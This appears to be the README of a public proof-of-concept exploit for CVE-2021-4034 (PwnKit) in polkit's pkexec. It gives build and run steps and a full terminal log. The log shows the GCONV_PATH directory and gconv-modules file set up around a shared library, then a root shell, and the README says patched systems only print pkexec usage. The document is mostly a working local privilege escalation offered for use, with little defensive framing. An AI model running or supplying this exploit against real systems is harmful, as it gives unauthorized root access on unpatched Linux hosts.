
Exploit for CVE-2021-4034, a local privilege escalation in polkit's pkexec, providing a root shell via a shared library and GCONV path manipulation.
One day for the polkit privilege escalation exploit
Just execute make, ./cve-2021-4034 and enjoy your root shell.
The original advisory by the real authors is here
If the exploit is working you'll get a root shell immediately:
localuser@ubuntu-poc:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
localuser@ubuntu-poc:~/CVE-2021-4034$